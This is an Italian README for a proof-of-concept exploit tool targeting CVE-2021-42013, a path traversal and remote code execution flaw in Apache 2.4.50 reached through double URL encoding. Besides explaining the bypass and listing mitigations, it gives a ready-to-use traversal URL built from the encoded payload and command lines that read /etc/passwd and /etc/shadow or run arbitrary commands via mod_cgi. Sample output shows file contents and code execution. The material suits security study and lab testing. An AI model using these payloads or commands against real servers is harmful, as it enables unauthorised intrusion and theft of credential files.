
Exploit di prova di concetto per CVE-2021-42013, che dimostra path traversal ed esecuzione di codice remoto su Apache 2.4.50 tramite bypass della doppia codifica URL della patch per CVE-2021-41773.
Solo per uso in ambienti controllati e propri. Non usare contro sistemi senza autorizzazione.
PoC sviluppata per dimostrare CVE-2021-42013, presente in Apache HTTP Server 2.4.50.
Questo CVE è il bypass della patch che Apache ha pubblicato per CVE-2021-41773. La versione 2.4.50 ha tentato di correggere il path traversal precedente aggiungendo una validazione che respingeva le sequenze .%2e e %2e.. Tuttavia, quella validazione era insufficiente: non considerava che lo stesso risultato poteva essere ottenuto con doppio URL encoding, lasciando esposta la stessa superficie di attacco.
| CVE-2021-41773 | CVE-2021-42013 | |
|---|---|---|
| Versione affetta | Apache 2.4.49 | Apache 2.4.50 |
| Encoding utilizzato | .%2e/ | %%32%65%%32%65/ |
| Meccanismo | Singolo encoding | Doppio encoding (bypass della patch) |
| RCE possibile | Sì (con mod_cgi) | Sì (con mod_cgi) |
| Versione corretta | 2.4.50 (patch incompleta) | 2.4.51 |
La patch di Apache 2.4.50 ha aggiunto una validazione in ap_normalize_path() che cercava letteralmente le sequenze .%2e e %2e. nel path della richiesta. Se le trovava, respingeva la richiesta con 400 o 403.
Il problema: quella validazione veniva eseguita sulla stringa prima di un secondo passaggio di decodifica URL. Se il payload era doppiamente codificato, la validazione non trovava la sequenza proibita perché non era ancora decodificata — e quando finalmente veniva decodificata per risolvere il path del filesystem, ../ era già presente e il traversal avveniva comunque.
Payload: %%32%65%%32%65/
Validazione 2.4.50 cerca: .%2e → NON TROVA → lascia passare
Prima decodifica: %%32%65%%32%65/ → %2e%2e/
Seconda decodifica: %2e%2e/ → ../
Risultato: traversal riuscito
La correzione reale è arrivata in 2.4.51, dove Apache ha riscritto la logica di normalizzazione per risolvere completamente il path prima di applicare qualsiasi validazione di sicurezza.
%%32%65 è la rappresentazione doppiamente codificata di .:
. → %2e (encoding standard)
% → %25 (encoding del simbolo %)
2 → %32 (encoding del carattere '2')
e → %65 (encoding del carattere 'e')
Quindi %2e con il suo % codificato e i caratteri hex codificati diventa %%32%65.
Una prima decodifica di %%32%65 produce %2e. Una seconda produce ..
| Condizione | Dettaglio |
|---|---|
| Versione di Apache | Esattamente 2.4.50 |
| Direttiva di accesso | Require all granted nella directory esposta |
| Modulo CGI | mod_cgi abilitato (solo per RCE) |
# Immagine di Apache 2.4.50 con configurazione vulnerabile
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
O manualmente con Apache 2.4.50 e questa configurazione in httpd.conf:
LoadModule cgi_module modules/mod_cgi.so
<Directory />
Require all granted
</Directory>
<Directory "/var/www/cgi-bin">
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
</Directory>
Alias /traversal /var/www/html
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
# Leggere /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# Eseguire id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# Comando con spazi
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
============================================================
CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
Bypass della patch di CVE-2021-41773 via doppio encoding
PoC a fini educativi — Solo in ambienti propri
============================================================
[+] Modalità: Path Traversal (doppio encoding — bypass patch CVE-2021-41773)
[+] Obiettivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL costruita: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Invio richiesta...
[+] Server vulnerabile! Codice stato: 200
[+] Confermato: Apache 2.4.50 con patch incompleta
=== Contenuto di /etc/passwd:
root:x:0:0:root:/root:/bin/bash
...
[+] Modalità: RCE via mod_cgi (doppio encoding — bypass patch CVE-2021-41773)
[+] Obiettivo: http://localhost:8080
[+] Comando: id
[+] RCE confermato! (Apache 2.4.50 — patch incompleta)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 o superiore.Require all denied come valore predefinito.mod_cgi se non necessario.PoC sviluppata a fini educativi per portfolio di sicurezza offensiva.
| Argomento | Obbligatorio | Descrizione |
|---|
--target | Sì | URL base del server (es: http://localhost:8080) |
--mode | Sì | traversal per leggere file, rce per eseguire comandi |
--cmd | No | Comando da eseguire in modalità rce (default: id) |